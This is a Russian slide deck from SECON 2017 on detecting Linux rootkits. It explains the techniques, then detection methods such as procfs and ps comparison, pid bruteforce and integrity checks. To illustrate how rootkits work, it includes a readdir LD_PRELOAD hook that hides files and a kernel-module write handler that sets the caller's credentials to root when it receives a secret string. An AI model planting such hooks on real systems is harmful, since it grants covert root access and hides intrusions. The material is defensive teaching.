SECON'2017, Клементьев Михаил, Обнаружение руткитов в GNU/Linux

Обнаружение руткитов в GNU/Linux
Михаил Клементьев
SECON 2017
1

Кто я?
• Linux Kernel Security Developer
2

Кто я?
• Security researcher at
2

Кто я?
• Hardened Gentoo lover
2

Кто я?
• Hardened Gentoo lover
• Associate member of
2

О чем доклад?
• Зачем все это нужно
3

• Что такое руткит
3

• Что руткит из себя представляет
3

• Что руткит из себя представляет
• Обнаружение руткитов (и немного просто
malware)
3

Отдать швартовый!
4

А разве меня взломали?
5

Уязвимости ядра Linux
6

Уязвимости ядра Linux
7

Жизненный цикл уязвимости
8

9

Да.
9

Какие бывают?
• User-space
10

Какие бывают?
• User-space
• Kernel-space
10

Чем могут заниматься?
• Подмена системных файлов
11

• Изменение логов
11

• Изменение исполняемых файлов при старте
11

• Скрытие процессов
11

• Скрытие сетевых соединений
11

• Защита от обнаружения
11

• Защита от обнаружения
• Много всего остального, о чем знают только
разработчики
11

Как это работает: user-space
$ touch f i r s t _ f i l e
$ touch second_file
$ touch h i d d e n _ f i l e
$ l s
f i r s t _ f i l e second_file
12

$ LD_DEBUG=symbols l s 2>&1 | grep r e a d d i r
symbol=o r i g _ r e a d d i r ; lookup in f i l e=l s
symbol=o r i g _ r e a d d i r ; lookup in f i l e=/lib64/hide.so
symbol=r e a d d i r ; lookup in f i l e=l s
symbol=r e a d d i r ; lookup in f i l e=/lib64/hide.so
symbol=r e a d d i r ; lookup in f i l e =/l i b 6 4 / l i b c . so .6
13

$ l s / l i b 6 4 / | grep hide . so
$ # f i l e doesn ’ t e x i s t
$ t e s t −f / l i b 6 4 / hide . so && echo " e x i s t "
e x i s t
$ env | grep hide . so
LD_PRELOAD=/l i b 6 4 / hide . so
14

struct dirent *(* orig_readdir )(DIR *);
struct dirent *readdir(DIR *dirp)
{
struct dirent *ret;
void *libc = dlopen(LIBC_PATH , RTLD_LAZY );
orig_readdir = dlsym(libc , "readdir");
while (ret = orig_readdir(dirp ))
if (strcmp(ret ->d_name , HIDDEN_FILENAME ))
break;
return ret;
}
15

Как это работает: kernel-space
$ g i t clone github . com/ NoviceLive / research −r o o t k i t
$ cd research −r o o t k i t /2−fundamentals / root
$ make
# insmod rootko . ko
$ dmesg
[ . . . ] rootko . init_module : Greetings the World !
16

# ./ r00tme . sh
uid =1000 gid =1000
/ proc / kcore : r e g u l a r f i l e , no read permission
uid=0 gid=0
/ proc / kcore : ELF 64− b i t LSB core f i l e x86 −64...
$ dmesg
[ . . . ] rootko . write_h : Comrade , I w i l l help you .
[ . . . ] rootko . write_h : See you !
17

struct file_operations proc_fops = {
.write = write_handler
};
int init_module(void)
{
fm_alert("%sn", "Greetings␣the␣World!");
entry = proc_create(NAME , S_IRUGO | S_IWUGO ,
SECRET_FILE , &proc_fops );
return 0;
}
18

ssize_t
write_handler(struct file * filp , char *buff ,
size_t count , loff_t *offp)
{
...
if (! strncmp(SOME_SECRET , kbuff , count )) {
fm_alert("%sn", "Comrade ,␣I␣will␣help␣you.");
cred = (struct cred *) __task_cred(current );
cred ->uid = cred ->euid = cred ->fsuid = 0;
cred ->gid = cred ->egid = cred ->fsgid = 0;
fm_alert("%sn", "See␣you!");
}
...
}
19

$ cat r00tme . sh
. . .
p r i n t f ’%s ’ SOME_SECRET > / proc /SECRET_FILE
id
. . .
20

Обнаружение руткитов: проблемы
• Для проверки сервер редко можно выключить
21

• Доступ к VPS ограничен
21

• Open Source решения (chkrootkit, unhide,
rkhunter) редко обновляются и неэффективны
против kernel-space руткитов
21

• Open Source решения (chkrootkit, unhide,
rkhunter) редко обновляются и неэффективны
против kernel-space руткитов
• Почти всегда в недоверенном окружении
21

Развертывание в недоверенной системе
• scp && ssh
22

• scp && ssh
• gcc -static
22

• scp && ssh
• gcc -static
• ELF crypter/protector
22

• scp && ssh
• gcc -static
• ELF crypter/protector
• crackme?!?
22

user-space [0]: подходы
• Обнаружение явно не скрытых сущностей
23

• Поиск нарушений консистентности
user-space/kernel-space
23

user-space/kernel-space
• Проверка целостности
23

user-space [1]: все то, что не скрыто
• .conﬁg/gtk-2.0/settings.ini
24

• /bin/ps, /usr/bin/ps
24

• /bin/ps, /usr/bin/ps
• /usr/bin/rootkit
24

user-space [2]: поиск противоречий
• Сравнение содержимого procfs с выводом команды ps aux
$ ps −e | grep ’^ 63 ’
6304 ? 00:00:00 acpid
6328 ? 00:00:00 battery −watcher
6374 ? 00:00:00 crond
$ l s / proc | grep ’^63 ’
6304
6328
6346
6374
25

$ ps −e | grep ’^ 63 ’
6304 ? 00:00:00 acpid
6328 ? 00:00:00 battery −watcher
6374 ? 00:00:00 crond
$ l s / proc | grep ’^63 ’
6304
6328
6346
6374
• Размер файловой системы и файлов
25

26

• Размер файловой системы и файлов
# du −hcs /tmp
6 ,7M /tmp
6,7M
# df −h | grep /tmp
tmpfs 12G 8,3M 12G 1% /tmp
26

user-space [3]: проверка целостности
• AIDE
27

• AIDE
• Средства, предоставляемые пакетными
менеджерами
27

• AIDE
• dpkg –verify
27

• AIDE
• dpkg –verify
• debsums
27

• AIDE
• dpkg –verify
• debsums
• rpm -V
27

kernel-space [0]: подходы
предоставляемой ядром информации
28

• Встраивание в планировщик процессов
28

• Анализ памяти
28

• Анализ задержек
28

kernel-space [2]: поиск противоречий
• Перебор всех возможных идентификаторов процесса (pid
bruteforce)
$ l s / proc | grep ’^63 ’
6304
6328
6374
$ s t a t / proc /6305
s t a t : cannot s t a t ’/ proc /6305: No such f i l e
$ s t a t / proc /6306
s t a t : cannot s t a t ’/ proc /6306: No such f i l e
$ s t a t / proc /6307
F i l e : ’/ proc /6307 ’
Size : 0 Blocks : 0 IO Block : 1024 directory
29

kernel-space [2]: поиск противоречий
$ lsmod
Module Size Used by
vboxpci 14318 0
vboxnetadp 18566 0
$ cat / proc / kallsyms | grep vboxpci
a0072f00 t DevRegisterIrqHandler [ vboxpci ]
a0073040 t DevUnregisterIrqHandler [ vboxpci ]
a0072e20 t DevUnmapRegion [ vboxpci ]
a0073fe0 t SUPR0IdcClose [ vboxpci ]
$ cat / proc / kallsyms | grep ’ . ∗ [ . ∗ ] $ ’ | cut . . .
x86_pkg_temp_thermal
vboxpci
vboxnetadp
30

kernel-space [3]: встраивание в планировщик процессов
31

int hook_try_to_wake_up(struct task_struct *p,
unsigned int state ,
int wake_flags)
{
printk("p->pid:␣%d,␣p->comm:␣%sn"
p->pid , p->comm );
return origin_try_to_wake_up(p, state ,
wake_flags );
}
32

dmesg:
[ 9 4 . 5 6 8 ] p−>pid : 1749 , p−>comm: r s y s l o g d
[ 9 4 . 5 6 9 ] p−>pid : 1747 , p−>comm: r s : main Q: Reg
[ 9 4 . 5 8 1 ] p−>pid : 1935 , p−>comm: hiddenprocess
33

kernel-space: подходы
• Анализ задержек
34

Как не словить?
• Использование электронной подписи для
модулей ядра
35

• Знайте, что происходит на вашей системе
35

• Разграничение полномочий
35

• Обновления, обновления, обновления. . .
35

• Обновления, обновления, обновления. . .
• Перезапуск приложений и ядра после
обновления (либо kpatch)
35

Спасибо за внимание!
Клементьев Михаил
m.klementyev@dsec.ru
37

thx
• https://outﬂux.net
• http://securityaﬀairs.co
• http://derekmolloy.ie
• https://github.com/NoviceLive/research-rootkit
38

SECON'2017, Клементьев Михаил, Обнаружение руткитов в GNU/Linux

Empfohlen

Empfohlen

Weitere ähnliche Inhalte

Was ist angesagt?

Was ist angesagt? (20)

Ähnlich wie SECON'2017, Клементьев Михаил, Обнаружение руткитов в GNU/Linux

Ähnlich wie SECON'2017, Клементьев Михаил, Обнаружение руткитов в GNU/Linux (20)

Mehr von SECON

Mehr von SECON (20)

Kürzlich hochgeladen

Kürzlich hochgeladen (9)

SECON'2017, Клементьев Михаил, Обнаружение руткитов в GNU/Linux